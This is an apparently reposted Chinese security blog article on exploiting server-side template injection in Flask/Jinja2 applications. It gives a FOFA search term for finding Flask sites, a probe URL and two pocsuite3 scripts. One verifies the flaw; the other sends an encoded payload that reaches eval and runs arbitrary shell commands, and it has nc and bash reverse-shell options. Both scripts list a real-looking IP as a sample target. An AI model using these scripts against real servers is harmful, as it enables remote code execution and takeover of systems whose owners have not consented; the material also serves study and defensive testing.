-flask-ssti(模版注入漏洞) 漏洞利用

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现-flask-ssti(模版注入漏洞) 漏洞利用

0x01 阅读须知

0x02 漏洞描述

Flask是一个轻量级的可定制框架，使用Python语言编写，较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发，开发人员分工合作，小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外，Flask还有很强的定制性，用户可以根据自己的需求来添加相应的功能，在保持核心功能简单的同时实现功能的丰富与扩展，其强大的插件库可以让用户实现个性化的网站定制，开发出功能强大的网站。flask主要是使用的jinja2来作为渲染模板。

而jinja2模板若过滤不严则存在ssti注入，ssti注入又称服务器端模板注入攻击(Server-Side Template Injection)，和sql注入一样，也是由于接受用户输入而造成的安全问题。

0x03 漏洞复现

漏洞环境:flask

FOFA: “flask”

前置知识：

1.在Jinja2模板引擎中，{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量，还可以执行一些简单的表达式。

2.我们的思路就是从一个内置变量调用__class__.base__等隐藏属性，去找到一个函数，然后调用其__globals[‘builtins’]即可调用eval等执行任意代码

1.测试漏洞页面是否可以执行乘法表达式，回显4，证明存在漏洞

http://x.x.x.x:8000/?name={{2*2}}

2.这里就可以编写出pocsuite3的poc，执行成功，证明存在漏洞，如下：

<strong>python3 cli.py -r pocs/poc-flask.py -u http://x.x.x.x:8000 --verify</strong>

from collections import OrderedDict

from urllib.parse import urljoin

import re

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE

from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY



class DemoPOC(POCBase):#漏洞信息

    vulID = \'1.1\'

    version = \'1.1\'

    author = [\'1.1\']

    vulDate = \'1.1\'

    createDate = \'1.1\'

    updateDate = \'1.1\'

    references = [\'flask\']

    name = \'flask\'

    appPowerLink = \'flask\'

    appName = \'flask\'

    appVersion = \'flask\'

    vulType = VUL_TYPE.CODE_EXECUTION

    desc = \'\'\'

        flask

    \'\'\'

    samples = [\'96.234.71.117:80\']

    category = POC_CATEGORY.EXPLOITS.REMOTE



    def _verify(self):

        result = {}

        path = \"?name=\"#路径

        url = self.url + path#拼接url：http://x.x.x.x:8000/?name=

        #print(url)

        payload = \"{{22*22}}\"#payload

        #print(payload)

        try:

            resq = requests.get(url + payload)#get拼接poc：http://x.x.x.x:8000/?name={{22*22}}

            if resq and resq.status_code == 200 and \"484\" in resq.text:#是否存在484

                result[\'VerifyInfo\'] = {}#存在输出结果

                result[\'VerifyInfo\'][\'URL\'] = url

                result[\'VerifyInfo\'][\'Name\'] = payload

        except Exception as e:

            return #不存在输出空

        return self.parse_output(result)



    def _attack(self):

        return self._verify()



    def parse_output(self, result):

        output = Output(self)#输出result结果

        if result:#不为空

            output.success(result)#输出成功

        else:

            output.fail(\'target is not vulnerable\')#否则输出漏洞不存在

        return output

register_poc(DemoPOC)

3.编写exp，执行whoami命令，回显www-data

python3 cli.py -r pocs/exp-flask.py -u http://x.x.x.x:8000 --attack --command whoami

from collections import OrderedDict

from urllib.parse import urljoin

import re

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE

from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY





class DemoPOC(POCBase):#漏洞信息

    vulID = \'1.1\'

    version = \'1.1\'

    author = [\'1.1\']

    vulDate = \'1.1\'

    createDate = \'1.1\'

    updateDate = \'1.1\'

    references = [\'1.1\']

    name = \'flack\'

    appPowerLink = \'flack\'

    appName = \'flask\'

    appVersion = \'flask\'

    vulType = VUL_TYPE.CODE_EXECUTION

    desc = \'\'\'

        

    \'\'\'

    samples = [\'96.234.71.117:80\']

    category = POC_CATEGORY.EXPLOITS.REMOTE



    def _options(self):#反弹shell模块，暂时用不上

        o = OrderedDict()

        payload = {

            \"nc\": REVERSE_PAYLOAD.NC,

            \"bash\": REVERSE_PAYLOAD.BASH,

        }

        o[\"command\"] = OptDict(selected=\"bash\", default=payload)

        return o



    def _verify(self):#反弹shell模块

        output = Output(self)

        result = {}



    def _attack(self):

        result = {}

        path = \"?name=\"#路径

        url = self.url + path#拼接url：http://x.x.x.x:8000/?name=

        #print(url)

        cmd = self.get_option(\"command\")#定义一个command参数，输入代码执行参数

        payload = \'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(\"os\").popen(\"\'+cmd+\'\").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D\'#从一个内置变量调用__class__.base__等隐藏属性，去找到一个函数，然后调用其__globals[\'builtins\']即可调用eval等执行任意代码

        try:

            resq = requests.get(url + payload)#get方法拼接url和payload

            t = resq.text#返回命令执行结果

            t = t.replace(\'\\n\', \'\').replace(\'\\r\', \'\')

            print(t)#打印结果

            t = t.replace(\" \",\"\")

            result[\'VerifyInfo\'] = {}#存在输出结果

            result[\'VerifyInfo\'][\'URL\'] = url

            result[\'VerifyInfo\'][\'Name\'] = payload

        except Exception as e:

            return#不存在输出空

        return self.parse_attack(result)



    def parse_attack(self, result):

        output = Output(self)#输出result结果

        if result:#不为空

            output.success(result)#输出成功

        else:

            output.fail(\'target is not vulnerable\')#否则输出漏洞不存在

        return output

register_poc(DemoPOC)